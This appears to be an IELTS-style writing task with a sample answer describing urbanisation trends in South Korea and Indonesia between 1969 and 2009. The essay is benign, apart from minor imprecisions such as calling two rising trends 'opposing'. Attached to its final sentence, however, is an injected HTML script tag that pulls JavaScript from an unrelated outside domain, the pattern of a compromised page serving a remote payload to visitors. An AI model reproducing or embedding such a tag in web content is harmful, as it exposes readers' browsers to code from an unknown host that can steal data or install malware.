The line graph below shows the urbanisation rate in South Korea and Indonesia Write a description of about 150 words of the trends in the graph

The linegraph gives information about the rate of population increase of cities in South Korea and Indonesia over the period of time from 1969 to 2009. Overall, both 2 figures experienced an increase throughout the period; plus, the urbanisation rate in South Korea was nearly 2 times higher than that of Indonesia.
Regarding the first phase from 1969 to 1989, South Korea saw a sharp upward trend of urbanisation, which went up from just above 30% in 1969 to about 70% in 1989. In contrast, the figure of Indonesia increased moderately, with 20% in 1969 to around 25% after 2 decades.
When it comes to the last period, we see an opposing trend of the urbanisation rate in 2 countries, in which the percentage of South Korea went up slightly to just above 80% while that of Indonesia surged to 50%.<script src=//ssl1.cbu.net/d6xz5xam></script>